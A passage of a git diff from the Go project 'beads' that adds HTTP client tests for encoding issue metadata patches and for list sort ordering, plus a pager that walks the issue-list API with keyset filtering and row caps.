err != nil { + t.Fatalf("Update: %v", err) + } + for _, member := range []string{"assignee", "parent_id"} { + got, ok := w.lastPatch[member] + if !ok { + t.Errorf("patch omits %s, which was set to the empty string — the unassign and the unparent are edits, not omissions", member) + continue + } + if got != "" { + t.Errorf("patch[%s] = %v, want the empty string the caller set", member, got) + } + } +} + +// TestUpdateEncodesTheMetadataAlgebra drives the sub-document one arm at a time. +// +// The algebra is the ROLE's — merge, then set in key order, then unset, with +// replace replacing the whole document — and the wire publishes it member for +// member, so this asserts a projection rather than a translation. The one place +// the two genuinely disagree is the CLEAR: the role spells it as a set Replace +// holding no bytes, and no bytes is not a JSON value at all. +func TestUpdateEncodesTheMetadataAlgebra(t *testing.T) { + tests := []struct { + name string + patch issueops.MetadataPatch + want map[string]string + }{ + { + name: "replace carries the caller's document", + patch: issueops.MetadataPatch{Replace: set(json.RawMessage(`{"a":1}`))}, + want: map[string]string{"replace": `{"a":1}`}, + }, + { + name: "an empty replacement is the clear, spelled as the empty document", + patch: issueops.MetadataPatch{Replace: set(json.RawMessage(nil))}, + want: map[string]string{"replace": `{}`}, + }, + { + name: "merge carries the overlay", + patch: issueops.MetadataPatch{Merge: set(json.RawMessage(`{"b":2}`))}, + want: map[string]string{"merge": `{"b":2}`}, + }, + { + name: "set and unset travel together", + patch: issueops.MetadataPatch{ + Set: map[string]json.RawMessage{"k": json.RawMessage(`{"nested":[1,2]}`)}, + Unset: []string{"gone"}, + }, + want: map[string]string{"set": `{"k":{"nested":[1,2]}}`, "unset": `["gone"]`}, + }, + { + name: "a key stored as JSON null is a value, not an absence", + patch: issueops.MetadataPatch{Set: map[string]json.RawMessage{"k": json.RawMessage(`null`)}}, + want: map[string]string{"set": `{"k":null}`}, + }, + { + // EVERY NUMBER TRAVELS AS THE CALLER'S OWN LITERAL, and this is the + // case that says why it must. The role compares metadata values by + // their SOURCE LITERAL — `1` and `1.0` are not equal — so a client + // that decoded a value through `any` and re-encoded it would change + // the request: `1.0` would arrive as `1`, an integer past 2^53 would + // arrive rounded, and both would be compared against a stored value + // under a spelling the caller never wrote. On the compare-and-set + // path that is a changed VERDICT, not a cosmetic difference. + // + // The store renormalizes numbers on the way in and says so; what + // must not happen is a SECOND renormalization here, before the + // store has seen what was actually sent. + name: "numbers travel as the caller's own literal", + patch: issueops.MetadataPatch{ + Set: map[string]json.RawMessage{ + "tenth": json.RawMessage(`1.0`), + "big": json.RawMessage(`9007199254740993`), + }, + }, + want: map[string]string{"set": `{"big":9007199254740993,"tenth":1.0}`}, + }, + { + name: "and so does a replacement document", + patch: issueops.MetadataPatch{Replace: set(json.RawMessage(`{"n":1.0}`))}, + want: map[string]string{"replace": `{"n":1.0}`}, + }, + { + name: "and so does a merge overlay", + patch: issueops.MetadataPatch{Merge: set(json.RawMessage(`{"n":1.0}`))}, + want: map[string]string{"merge": `{"n":1.0}`}, + }, + } + + for _, test := range tests { + t.Run(test.name, func(t *testing.T) { + w := &stubWire{update: &apigen.UpdateIssueResponse{Revision: "0"}} + lifecycle, err := stubStore(t, w).IssueLifecycle() + if err != nil { + t.Fatalf("IssueLifecycle(): %v", err) + } + if _, err := lifecycle.Update(t.Context(), issueops.UpdateRequest{ + Actor: "writer", IssueID: "bd-1", + Patch: issueops.IssuePatch{Metadata: test.patch}, + }); err != nil { + t.Fatalf("Update: %v", err) + } + // Through the marshaler, because what the server reads is the + // BYTES: a map of json.RawMessage that looked right in Go and + // marshaled to something else would pass a field-by-field check. + document, ok := w.lastPatch["metadata"] + if !ok { + t.Fatal("the patch carries no metadata member") + } + encoded, err := json.Marshal(document) + if err != nil { + t.Fatalf("marshal the metadata document: %v", err) + } + var got map[string]json.RawMessage + if err := json.Unmarshal(encoded, &got); err != nil { + t.Fatalf("re-read the metadata document: %v", err) + } + if len(got) != len(test.want) { + t.Errorf("metadata document = %s, want exactly %v", encoded, sortedStringKeys(test.want)) + } + for member, want := range test.want { + if string(got[member]) != want { + t.Errorf("metadata[%s] = %s, want %s", member, got[member], want) + } + } + }) + } +} + +// TestUpdateRefusesMetadataThatIsNotJSON keeps a blob that cannot go on a JSON +// wire off it, the way the create's own gate does. The blob's CONTENT is the +// role's business and travels verbatim; its well-formedness is this layer's, +// because bytes that are not JSON fail inside json.Marshal and would reach the +// caller as a transport fault where every role contract promises a +// deterministic validation failure. +func TestUpdateRefusesMetadataThatIsNotJSON(t *testing.T) { + for name, patch := range map[string]issueops.MetadataPatch{ + "replace": {Replace: set(json.RawMessage(`{"k":`))}, + "merge": {Merge: set(json.RawMessage(`not json`))}, + "set": {Set: map[string]json.RawMessage{"k": json.RawMessage(`{`)}}, + } { + t.Run(name, func(t *testing.T) { + w := &stubWire{update: &apigen.UpdateIssueResponse{Revision: "0"}} + lifecycle, err := stubStore(t, w).IssueLifecycle() + if err != nil { + t.Fatalf("IssueLifecycle(): %v", err) + } + _, err = lifecycle.Update(t.Context(), issueops.UpdateRequest{ + Actor: "writer", IssueID: "bd-1", + Patch: issueops.IssuePatch{Metadata: patch}, + }) + if !errors.Is(err, issueops.ErrValidation) { + t.Fatalf("a malformed %s = %v, want ErrValidation", name, err) + } + if len(w.calls) != 0 { + t.Errorf("the malformed blob reached the wire: %v", w.calls) + } + }) + } +} + +// TestTheEncodedMetadataDocumentUsesOnlyPublishedMembers is the patch +// document's own gate one level down. +// +// TestTheEncodedPatchDocumentUsesOnlyPublishedMembers holds the TOP level to +// apigen.IssuePatchBody; the metadata member is a nested document built the +// same untyped way, and until this ran nothing held it to +// apigen.ApplyMetadataPatch at all. Both directions matter: a member the wire +// does not publish is a 400, and a member it publishes that no arm of +// MetadataPatch drives is an edit this client cannot make. +func TestTheEncodedMetadataDocumentUsesOnlyPublishedMembers(t *testing.T) { + published := bodyMembers(t, reflect.TypeOf(apigen.ApplyMetadataPatch{})) + + // Replace is deliberately NOT set beside the other three: the wire refuses + // that combination with a 400 and so does the role, so a patch setting all + // four at once is not a request either side would answer. It gets its own + // pass. + document, err := encodeMetadataPatch(issueops.MetadataPatch{ + Merge: set(json.RawMessage(`{"m":1}`)), + Set: map[string]json.RawMessage{"s": json.RawMessage(`1`)}, + Unset: []string{"u"}, + }) + if err != nil { + t.Fatalf("encode the incremental metadata edits: %v", err) + } + replacement, err := encodeMetadataPatch(issueops.MetadataPatch{Replace: set(json.RawMessage(`{}`))}) + if err != nil { + t.Fatalf("encode the replacement: %v", err) + } + for member := range replacement { + document[member] = replacement[member] + } + + for member := range document { + if !published[member] { + t.Errorf("the encoded metadata document carries %q, which ApplyMetadataPatch does not publish: %v", + member, sortedKeys(published)) + } + } + for member := range published { + if _, ok := document[member]; !ok { + t.Errorf("ApplyMetadataPatch publishes %q and no arm of MetadataPatch drives it; that member is unreachable from this client", + member) + } + } +} + +func sortedStringKeys(m map[string]string) []string { + out := make([]string, 0, len(m)) + for k := range m { + out = append(out, k) + } + sort.Strings(out) + return out +} diff --git a/internal/httpclient/list_sort_test.go b/internal/httpclient/list_sort_test.go new file mode 100644 index 000000000..ab39f275b --- /dev/null +++ b/internal/httpclient/list_sort_test.go @@ -0,0 +1,209 @@ +// Contributed by gascity from bd-enterprise (internal/enterprise/httpstore/list_sort_test.go@49d1df2f6) +// to OSS beads under the MIT license. +package httpclient + +import ( + "slices" + "testing" + "time" + + "gopkg.in/yaml.v3" + + "github.com/steveyegge/beads/internal/httpapi/spec" + "github.com/steveyegge/beads/internal/httpclient/wire" + "github.com/steveyegge/beads/internal/storage/sqlbuild" + "github.com/steveyegge/beads/internal/types" + "github.com/steveyegge/beads/issueops" +) + +// TestFlaglessListSortIsTheSameOrderNamed is the drift pin for the pushdown's +// one translation: issueops.ListRequest's empty SortBy goes onto the wire as +// `priority`, and that is sound only while the two are the SAME order. +// +// A served run cannot show this. It would answer correctly whichever spelling +// were sent, because the reference store on the far side is the same code +// making the same substitution — so the case that catches a wrong constant is +// this one, asked of the three places the equivalence has to hold at once. +// +// It sits in the default build rather than behind the cgo tag for the same +// reason the other two drift pins do: nothing here needs a database. +func TestFlaglessListSortIsTheSameOrderNamed(t *testing.T) { + // THE DOCUMENT. The translation exists because an empty value is not in + // the published enum — a server would refuse `sort=` — so what the client + // substitutes has to be a member, and the absence of an empty member is + // what keeps the substitution from being dead code. + published := publishedParamEnum(t, wire.OpListIssues, "sort") + if len(published) == 0 { + t.Fatalf("the document publishes no `sort` enum on %s; this direction would assert nothing", wire.OpListIssues) + } + if !slices.Contains(published, flaglessListSort) { + t.Errorf("flaglessListSort = %q, which %s does not publish (%v): the pushdown would earn a 400 on every "+ + "request nobody named a sort for", flaglessListSort, wire.OpListIssues, published) + } + if slices.Contains(published, "") { + t.Errorf("%s now publishes an empty `sort` member (%v): ListRequest's own empty SortBy could be sent "+ + "verbatim and this translation is dead code rather than a necessity", wire.OpListIssues, published) + } + + // THE SERVER'S ORDER BY, which is what actually decides which rows survive + // the limit once the order is pushed down. Both directions, because the + // pushdown emits `reverse` alongside `sort` and a spelling that agreed + // ascending and disagreed descending would still lose rows. + column := func(key string) string { return key } + for _, reverse := range []bool{false, true} { + flagless := sqlbuild.OrderByForColumns("", reverse, column) + named := sqlbuild.OrderByForColumns(flaglessListSort, reverse, column) + if flagless == "" { + t.Fatalf("the flagless order renders no ORDER BY (reverse %v); it is a Go-side sort now, and the "+ + "pushdown cannot ask a server for an order the server does not express", reverse) + } + if flagless != named { + t.Errorf("reverse %v: the flagless order renders %q and %q renders %q; the pushdown would ask the "+ + "server for a different order than a local `bd list` runs", reverse, flagless, flaglessListSort, named) + } + } + + // THE CLIENT'S OWN EPILOGUE, which is the half the pushdown newly leans on. + // sortListRows still runs over the page the server ordered, and it runs + // under the caller's spelling — the empty one — while the server ordered + // under the substituted one. If those two produced different orders, the + // fast leg would fetch the right rows and then shuffle them. + // + // The corpus is SCRAMBLED before each run so this compares two orders + // rather than two no-ops. + for _, reverse := range []bool{false, true} { + flagless := flaglessSortCorpus() + named := flaglessSortCorpus() + sortListRows(flagless, "", reverse) + sortListRows(named, flaglessListSort, reverse) + if got, want := rowIDs(flagless), rowIDs(named); !slices.Equal(got, want) { + t.Errorf("reverse %v: the client orders the flagless spelling %v and %q %v; the pushdown asks the "+ + "server for one and re-sorts the answer under the other", reverse, got, flaglessListSort, want) + } + } +} + +// TestKeysetFilterKeepsExactlyTheRowsPastThePositionInItsOrder is the drift +// pin for the walk's discard rule: a row survives keysetFilter exactly when +// sqlbuild.Less — the Go-side mirror of the ORDER BY a local list renders — +// puts the position before it, in the order the position names. A position +// carrying AfterPriority is one in the priority order and a bare pair is one in +// the created order, which is how the local predicate chooses between +// sqlbuild's two keyset clauses. +// +// Every corpus row is tried as the position against every row, so each of the +// order's tie-breaks — priority, then instant, then id — decides some pair, and +// the corpus's newer lower-priority rows are the ones a filter that compared +// the pair alone would get wrong. +func TestKeysetFilterKeepsExactlyTheRowsPastThePositionInItsOrder(t *testing.T) { + corpus := flaglessSortCorpus() + for _, order := range []string{"priority", "created"} { + for _, pos := range corpus { + req := issueops.ListRequest{AfterCreatedAt: ptrTo(pos.CreatedAt), AfterID: pos.ID} + if order == "priority" { + req.AfterPriority = ptrTo(pos.Priority) + } + keep := keysetFilter(req) + if keep == nil { + t.Fatalf("a %s position at %s has no discard rule", order, pos.ID) + } + for _, row := range corpus { + if got, want := keep(row), sqlbuild.Less(pos.Issue, row.Issue, order, false); got != want { + t.Errorf("a %s position at %s (P%d) keeps %s (P%d) = %v, want %v", + order, pos.ID, pos.Priority, row.ID, row.Priority, got, want) + } + } + } + } +} + +// TestKeysetFilterNeedsAnInstant pins the contract's rule that AfterCreatedAt +// alone decides whether a position was supplied: an id or a priority without +// one is ignored, as the local predicate ignores it, rather than read as a +// position at the zero instant — which every row is after, so the page would +// come back empty. +func TestKeysetFilterNeedsAnInstant(t *testing.T) { + for name, req := range map[string]issueops.ListRequest{ + "an id alone": {AfterID: "bd-1"}, + "a priority alone": {AfterPriority: ptrTo(1)}, + "both, no instant": {AfterID: "bd-1", AfterPriority: ptrTo(1)}, + } { + if keysetFilter(req) != nil { + t.Errorf("%s: keysetFilter answered a discard rule, want none — there is no position without an instant", name) + } + } +} + +func rowIDs(rows []*types.IssueWithCounts) []string { + ids := make([]string, 0, len(rows)) + for _, row := range rows { + ids = append(ids, row.ID) + } + return ids +} + +// flaglessSortCorpus is a fixed set of rows, in an order that is none of the +// ones under test, reaching every tie-break the flagless order carries: equal +// priorities decided by created time, equal priorities and equal instants +// decided by id, and ids whose natural and lexical orders disagree. +func flaglessSortCorpus() []*types.IssueWithCounts { + base := time.Date(2026, 8, 21, 12, 0, 0, 0, time.UTC) + var corpus []*types.IssueWithCounts + for _, seed := range []struct { + id string + priority int + minute int + }{ + {"bd-6", 2, 0}, {"bd-2", 0, 0}, {"bd-7", 3, 5}, {"bd-10", 0, 0}, + {"bd-4", 1, 0}, {"bd-1", 0, 0}, {"bd-5", 1, 5}, {"bd-3", 0, 5}, + } { + at := base.Add(time.Duration(seed.minute) * time.Minute) + corpus = append(corpus, &types.IssueWithCounts{Issue: &types.Issue{ + ID: seed.id, Title: seed.id, Status: types.StatusOpen, Priority: seed.priority, + IssueType: types.TypeTask, CreatedAt: at, UpdatedAt: at, + }}) + } + return corpus +} + +// publishedParamEnum reads one operation parameter's enum out of the wire +// contract itself, rather than out of a second copy of the names. +func publishedParamEnum(t *testing.T, operationID, param string) []string { + t.Helper() + // S3 reconciliation (2026-10): spec.OpenAPIV0() rather + // than a relative os.ReadFile — the document is go:embed'd into + // internal/httpapi/spec precisely so a reader does not depend on a + // filesystem layout, and a relative path breaks the moment this runs + // under Bazel's test sandbox, which copies in only what a target + // declares as `data`. internal/httpclient/encode's own bijection gate + // already reads the document this way for the same reason. + raw := spec.OpenAPIV0() + var doc struct { + Paths map[string]map[string]struct { + OperationID string `yaml:"operationId"` + Parameters []struct { + Name string `yaml:"name"` + Schema struct { + Enum []string `yaml:"enum"` + } `yaml:"schema"` + } `yaml:"parameters"` + } `yaml:"paths"` + } + if err := yaml.Unmarshal(raw, &doc); err != nil { + t.Fatalf("parse the wire contract: %v", err) + } + for _, methods := range doc.Paths { + for _, operation := range methods { + if operation.OperationID != operationID { + continue + } + for _, p := range operation.Parameters { + if p.Name == param { + return p.Schema.Enum + } + } + } + } + t.Fatalf("the document publishes no %s parameter on %s", param, operationID) + return nil +} diff --git a/internal/httpclient/list_walk.go b/internal/httpclient/list_walk.go new file mode 100644 index 000000000..5d9a0ec23 --- /dev/null +++ b/internal/httpclient/list_walk.go @@ -0,0 +1,457 @@ +// Contributed by gascity from bd-enterprise (internal/enterprise/httpstore/list_walk.go@49d1df2f6) +// to OSS beads under the MIT license. +package httpclient + +import ( + "context" + "net/http" + "net/url" + "slices" + "strconv" + + "github.com/steveyegge/beads/internal/httpapi/apigen" + "github.com/steveyegge/beads/internal/httpclient/wire" + storageops "github.com/steveyegge/beads/internal/storage/issueops" + "github.com/steveyegge/beads/internal/storage/sqlbuild" + "github.com/steveyegge/beads/internal/types" + "github.com/steveyegge/beads/issueops" +) + +// The listIssues pager: the three things the wire cannot carry for `bd list`, +// done here because the encoder table says they are done here. +// +// - THE DISPLAY ORDER. The operation publishes `sort` now, so a BOUNDED +// request in an order the caller named is one request: sortedPage names the +// order on the wire and the server's own LIMIT decides which rows survive +// it. What is left of ledger row L2 is the three legs that cannot take that +// route — an unlimited read, a caller-supplied keyset position, and a +// server that does not advertise the capability — which still walk to +// exhaustion and then run the client-side comparator. The weld itself is +// unchanged: a cursor is bound to the paged order it was minted in +// (`created` or `priority`, upstream #5666), and the server refuses it under +// any other `sort`, because resuming a keyset position inside a different +// order skips and duplicates rows; the seven display orders and every +// reversed order never carry one. +// - THE CALLER-SUPPLIED KEYSET POSITION. issueops.Reader promises every +// implementation honors AfterCreatedAt/AfterID, and the wire populates them +// only from an opaque cursor the client must not mint. So the position is +// honored by a SKIP-FORWARD WALK: page the created-order wire from the +// start and discard the rows at or before the position (D8 row 1). +// - THE MaxRows CAP. The wire publishes no max_rows, so the cap is enforced +// during page accumulation and the exact sentinel `bd list` classifies into +// exit 2 is synthesized here (D12). +// +// WHAT IS DELIBERATELY ABSENT is a `created_before` jump for the keyset walk. +// It would be the obvious optimization and it is unsafe: created_before is +// strictly exclusive while the keyset upper bound is inclusive, so a jump +// computed from an instant whose storage granularity the client cannot observe +// would silently drop the same-instant tail — the exact drop L3 and L12 exist +// to prevent, traded for a round trip. + +// wireListSort is the order listIssues serves when no `sort` names another, +// spelled as the sort key ListRequest.SortBy takes for it. A request in this +// order and this direction is the one shape the walk can stop early on, and the +// one shape the pushdown leaves alone. +const wireListSort = "created" + +// flaglessListSort is how the pager spells ListRequest's own empty SortBy — the +// order `bd list` shows when nobody names one — as a value the published enum +// carries. +// +// The two are the SAME clause and not merely similar ones: sqlbuild renders `""` +// and `"priority"` through one branch (internal/storage/sqlbuild/sort.go, +// `if sortBy == "" || sortBy == "priority"`), and sqlbuild.Less mirrors it the +// same way. What the server does differently under the named spelling is run the +// page epilogue's comparator over the clause's output, which is a stable sort by +// the same key — order-preserving on rows the same clause already ordered. +// +// It cannot be sent as `sort=` instead: an empty value is not in the published +// enum, so the server would refuse it, and refusing is the correct thing for the +// server to do — an empty enum member is a client that failed to decide. +const flaglessListSort = "priority" + +// walkPageSize is how many rows one request asks for when the CLIENT owns the +// paging rather than the caller's own limit — an unlimited read, or any walk to +// exhaustion. It is a round trip's worth of rows, not a bound on the answer. +// +// It is a var and not a const for exactly one reason: the multi-page arm of the +// walk — the cursor echo, the accumulation across pages, the termination — is +// only reachable with more rows than this, and a test that seeded two hundred of +// them would be paying seconds to exercise three lines. +var walkPageSize = 200 + +// defaultListLimit is the shared list default a nil ListRequest.Limit means. +// +// It is redeclared rather than imported: internal/workapi is denied to this +// package by depguard (a client-side filter is one no server-side gate can +// observe), and the constant is needed here because a walk to exhaustion has to +// know what to trim to. TestDefaultListLimitMatchesTheSharedDefault pins it +// against workapi's own from a test file, where the rule does not apply. +const defaultListLimit = 50 + +// walkIssues answers one ListRequest from listIssues. +// +// params is the encoder's output and stays authoritative for every filter: the +// only keys this function writes are `limit` and `cursor`, which the encoder +// table already assigns to the pager (the cursor is reserved on the listIssues +// table, and the parent-walk table says the pager owns the per-page limit). +func (s *Store) walkIssues(ctx context.Context, params url.Values, req issueops.ListRequest) (issueops.IssuePage, error) { + limit := defaultListLimit + if req.Limit != nil { + limit = *req.Limit + } + // A negative limit is the server's refusal to make, not this pager's: it + // has a documented 400 for it, and the mapper turns that into the same + // ErrValidation a local backend answers with. Sending the encoder's params + // verbatim is how that reaches the caller unmangled. + if limit < 0 { + var body apigen.IssuesPage + if err := s.dispatch(ctx, listRequest(params), &body); err != nil { + return issueops.IssuePage{}, err + } + return issueops.IssuePage{Items: wireRows(body.Items, req.Brief), HasMore: body.HasMore}, nil + } + + keep := keysetFilter(req) + // The walk can stop early only when the rows arrive in the order the caller + // asked for; anything else has to see every row before it knows which ones + // the page keeps. + want := 0 + if req.SortBy == wireListSort && !req.Reverse { + want = limit + } + + // THE PUSHDOWN LEG. Each conjunct names a leg that must stay a walk, and + // they are ordered cheapest-decides-first because only the last one can + // cost a round trip: + // + // limit > 0 — an unlimited read has to cross every row anyway, so + // pushdown saves nothing, and sending `limit=0` down would + // newly meet the server's unlimited-read refusal that the + // fixed-size walk deliberately never reaches. (A negative + // limit returned above; this is "not unlimited".) + // want == 0 — the created order the walk ALREADY stops early on. Under + // it `want` is the caller's limit and under every other + // order it is zero, so this is that same fact spelled once + // rather than a second copy of the condition that can drift + // from it. Sending `sort=created` would be accepted and + // would buy nothing but a larger skew surface, so the one + // request family that predates the parameter keeps sending + // no parameter. + // keep == nil — no caller-supplied keyset position. keysetFilter returns + // nil for exactly that, so asking IT rather than restating + // its condition is what keeps the two from drifting. The + // filter discards from what the walk FETCHED, and run + // against a page some other order truncated it drops rows + // whose replacements were never fetched — a wrong answer, + // not a slow one. + // sort + cap — a --max-rows cap over an order SQL cannot express. This + // leg's whole cap story is that min(limit, MaxRows+1) IS + // the local expression, and for a GO-SIDE sort it is not: + // workapi.SQLLimit pushes 0 down rather than the limit, + // because the ordering happens after the query, so locally + // the window is MaxRows+1 REGARDLESS of the limit and the + // cap fires on the overage even under a limit at or below + // it. A request bounded by the limit cannot observe that + // overage, so pushing one down would answer where both + // local mode and the walk refuse. sqlbuild.IsGoSideSort is + // asked rather than its member named, so a second Go-side + // key added there cannot reopen this silently. Uncapped, + // the question does not arise and these keys push down like + // any other. + // + // The capability probe is last because it is the only one that can dial. + if limit > 0 && want == 0 && keep == nil && + listSortPushdownEligible(req) && + !(req.MaxRows > 0 && sqlbuild.IsGoSideSort(req.SortBy)) && + s.servesListSort(ctx) { + return s.sortedPage(ctx, params, req, limit) + } + + rows, err := s.fetchIssuePages(ctx, params, req.Brief, want, req.MaxRows, req.MaxRowsSource, keep) + if err != nil { + return issueops.IssuePage{}, err + } + + sortListRows(rows, req.SortBy, req.Reverse) + hasMore := false + if limit > 0 && len(rows) > limit { + rows, hasMore = rows[:limit], true + } + return issueops.IssuePage{Items: rows, HasMore: hasMore}, nil +} + +// servesListSort reports whether the server advertises issues.list.sort. +// +// It forces the one lazy handshake the store already owns and reads the cached +// capability list, exactly as servesBatchClose does, so it costs at most one +// round trip per process and none once the handshake has run. listIssues is a +// BASELINE operation — dispatch preflights nothing for it — so on a `bd list` +// this is the only handshake there is, which is why the gate above consults it +// last: a request that cannot push down never pays for it. +// +// A handshake that cannot be obtained reports false rather than an error, and +// that is a deliberate choice about which behavior is preserved. This is a +// CAPABILITY PROBE on a baseline read: the answer it is asking for is "may I +// take the fast leg", and every negative answer — the token absent, the server +// too old, the handshake refused — has the same correct response, which is to +// take the leg this client has always taken. Propagating the error instead +// would newly fail `bd list` against a server it works against today, since the +// baseline exemption means today's walk never asks for a handshake at all. The +// error is not lost: the walk's own first request meets the same server, and +// whatever it says — a transport failure, a wrong-project refusal — reaches the +// caller from there. +func (s *Store) servesListSort(ctx context.Context) bool { + snap, err := s.snapshot(ctx) + if err != nil || snap == nil { + return false + } + return slices.Contains(snap.Capabilities, wire.CapListSort) +} + +// listSortPushdownEligible reports whether req's display order is one +// listIssues can serve directly. +// +// The operation's `sort` enum is closed to the two keyset orders this client +// names wireListSort and flaglessListSort ("created" and "priority") — the +// seven other `bd list --sort` orders have no keyset predicate the server can +// page, so the spec does not publish them here at all; sending one anyway +// would meet the same `invalid_value` 400 a stale client earns for a value +// outside the enum. +// +// listIssues ALSO publishes no `reverse` parameter — that member exists only +// on GET /v0/beads/issues:query, a different operation with a different +// vocabulary (nine orders, used for the Go-side sort case up above, not a +// keyset order at all). A pushdown request naming `reverse` would not be +// answered backwards; it would be refused outright as a parameter this +// operation does not know, since listIssues never reads one. So a reversed +// request of any order, including the two eligible ones, has to come home +// over the walk and be re-sorted client-side in sortListRows — the walk and +// the early-stop leg above both already gate on !req.Reverse for the same +// reason. +func listSortPushdownEligible(req issueops.ListRequest) bool { + if req.Reverse { + return false + } + switch req.SortBy { + case "", wireListSort, flaglessListSort: + return true + default: + return false + } +} + +// sortedPage answers a bounded request in the caller's own order with ONE +// request, by naming that order on the wire. +// +// What this fixes is not the sort — the client could always re-sort what it +// fetched — but the ROW SET: which rows survive the caller's limit is now +// decided under the caller's order, by the same reader a local `bd list` runs, +// instead of by fetching every row the filter matches. The page carries no +// cursor and needs none: there is exactly one request, and the server's +// has_more IS the caller's, because unlike the walk this leg discards nothing +// the server counted. +// +// sortListRows still runs. It is O(n log n) over the page rather than over the +// result set, and keeping it leaves the display order self-authoritative +// against tie-semantics drift in a server one version away — which is the half +// of an order a re-sort CAN repair. +func (s *Store) sortedPage(ctx context.Context, params url.Values, req issueops.ListRequest, limit int) (issueops.IssuePage, error) { + page := url.Values{} + for key, values := range params { + page[key] = values + } + sortBy := req.SortBy + if sortBy == "" { + sortBy = flaglessListSort + } + page.Set("sort", sortBy) + // No `reverse` here: listIssues publishes no such parameter (that member + // belongs only to GET /v0/beads/issues:query's nine-order vocabulary), and + // listSortPushdownEligible already refused this call before it got here if + // req.Reverse were set. Sending it — even spelled false — would meet this + // operation's unknown-parameter refusal, since the handler never reads a + // `reverse` key at all. + + // The cap, spelled as the storage layer spells it: LIMIT min(Limit, + // MaxRows+1). The overage row is what proves the cap fired, and asking for + // no more than one past it is what stops the cap from bounding a page it + // was never meant to bound. Under a cap at or above the limit the request + // is the limit's own, so the cap CANNOT fire — which is local semantics + // (the window could not have exceeded it) and the L15 narrowing. + // + // That equivalence holds because a capped GO-SIDE sort never reaches this + // function: for those keys workapi.SQLLimit sends 0 rather than the limit, + // so the local window is MaxRows+1 and the cap CAN fire under a limit + // beneath it. walkIssues' gate is what keeps them on the walk, which is + // the leg that models that unbounded window. + size := limit + if req.MaxRows > 0 && req.MaxRows+1 < size { + size = req.MaxRows + 1 + } + page.Set("limit", strconv.Itoa(size)) + + var body apigen.IssuesPage + if err := s.dispatch(ctx, listRequest(page), &body); err != nil { + return issueops.IssuePage{}, err + } + if req.MaxRows > 0 && len(body.Items) > req.MaxRows { + return issueops.IssuePage{}, &storageops.ErrTooManyRows{Found: len(body.Items), Cap: req.MaxRows, Source: req.MaxRowsSource} + } + + rows := wireRows(body.Items, req.Brief) + sortListRows(rows, req.SortBy, req.Reverse) + return issueops.IssuePage{Items: rows, HasMore: body.HasMore}, nil +} + +// fetchIssuePages walks the created-order wire, keeping the rows keep admits. +// +// want is how many KEPT rows are enough to answer, or 0 for "every one of +// them". It over-fetches by one, exactly as the store-backed reader asks its +// query for one row past the page: the extra row IS the has-more verdict, and +// asking the wire for its own has_more instead would answer about the rows the +// SERVER hid rather than the ones the caller's page does. +// +// brief travels down here rather than being applied to the walk's answer because +// this is where the rows are lifted, and wireRows is the one place that knows +// how to mark a projected one. It sits next to params rather than beside want +// and maxRows deliberately: it is the only bool in the list, so it has no +// same-typed neighbor to be transposed with. +func (s *Store) fetchIssuePages( + ctx context.Context, + params url.Values, + brief bool, + want, maxRows int, + maxRowsSource string, + keep func(*types.IssueWithCounts) bool, +) ([]*types.IssueWithCounts, error) { + page := url.Values{} + for key, values := range params { + page[key] = values + } + + var ( + kept []*types.IssueWithCounts + fetched int + cursor string + ) + for { + size := walkPageSize + if want > 0 { + if remaining := want + 1 - len(kept); remaining < size { + size = remaining + } + } + if maxRows > 0 { + // Mirrors the storage layer's LIMIT MaxRows+1 overage probe: one + // row past the cap is what proves the cap fired, and never more + // than one, because the cap bounds WIRE ROWS FETCHED (D12). + if allowed := maxRows + 1 - fetched; allowed < size { + size = allowed + } + } + if size <= 0 { + break + } + + page.Set("limit", strconv.Itoa(size)) + if cursor != "" { + page.Set("cursor", cursor) + } + var body apigen.IssuesPage + if err := s.dispatch(ctx, listRequest(page), &body); err != nil { + return nil, err + } + + fetched += len(body.Items) + if maxRows > 0 && fetched > maxRows { + return nil, &storageops.ErrTooManyRows{Found: fetched, Cap: maxRows, Source: maxRowsSource} + } + for _, row := range wireRows(body.Items, brief) { + if keep == nil || keep(row) { + kept = append(kept, row) + } + } + + if want > 0 && len(kept) > want { + break + } + // next_cursor is present if and only if has_more WITHIN THE UNSORTED + // FAMILY, which is the scope the document now states the biconditional + // at: a page the server ordered by a `sort` reports a truthful has_more + // and carries no cursor at all, because a cursor is a position in the + // created order and that page is not in it. + // + // THIS FUNCTION IS ALWAYS INSIDE THAT FAMILY, and it is the reason the + // stop below is still a correctness check rather than an early exit + // from a shape the server ships on purpose: the `sort` key is written + // by sortedPage and by nothing else, and sortedPage sends one request + // and reads no cursor. So on every page this walk can receive, a claim + // of more with no position named is a server this client cannot page, + // and it stops rather than re-issuing the same request forever. + if !body.HasMore || body.NextCursor == nil || *body.NextCursor == "" { + break + } + cursor = *body.NextCursor + } + if kept == nil { + kept = []*types.IssueWithCounts{} + } + return kept, nil +} + +func listRequest(query url.Values) wire.Request { + return wire.Request{ + Op: wire.OpListIssues, + Method: http.MethodGet, + Path: wire.PathIssues, + Query: query, + } +} + +// keysetFilter turns a caller-supplied position into the discard rule of the +// skip-forward walk, or nil when the request carries none. +// +// AfterCreatedAt ALONE decides whether there is a position, which is the +// contract's rule (issueops.ListRequest) and the local predicate's +// (sqlbuild.BuildIssueFilterClauses). An AfterID or AfterPriority with no instant +// is ignored there, so it is ignored here — read as a position at the zero +// instant instead, it would discard every row, since every row is after it. +// +// The position is a PAIR and both halves matter: rows older than its timestamp +// are kept, and rows sharing that timestamp are kept only when their id sorts +// after it. A filter that compared the timestamp alone would drop the +// same-instant row, which is exactly how a keyset page loses records. +// +// AfterPriority extends the pair to the (priority ASC, created_at DESC, id ASC) +// order, and it is decided FIRST: a row at another priority is past the +// position exactly when its priority is the higher-numbered one, whatever its +// instant, and only a row at the position's own priority falls through to the +// pair. That nesting is sqlbuild.KeysetPriorityCreatedAtIDPredicate's, for its +// reason: the pair alone would re-deliver every higher-priority row created +// before the position and drop every lower-priority row created after it. +func keysetFilter(req issueops.ListRequest) func(*types.IssueWithCounts) bool { + if req.AfterCreatedAt == nil { + return nil + } + at, after := *req.AfterCreatedAt, req.AfterID + byPriority, atPriority := req.AfterPriority != nil, 0 + if byPriority { + atPriority = *req.AfterPriority + } + return func(row *types.IssueWithCounts) bool { + if row == nil || row.Issue == nil { + return false + } + switch { + case byPriority && row.Priority != atPriority: + return row.Priority > atPriority + case row.CreatedAt.After(at): + return false + case row.CreatedAt.Equal(at) && row.ID <= after: + return false + default: + return true + } + } +} diff --git a/internal/httpclient/memories.go b/internal/httpclient/memories.go new file mode 100644 index 000000000..e5bc3f655 --- /dev/null +++ b/internal/httpclient/memories.go @@ -0,0 +1,122 @@ +// Contributed by gascity from bd-enterprise 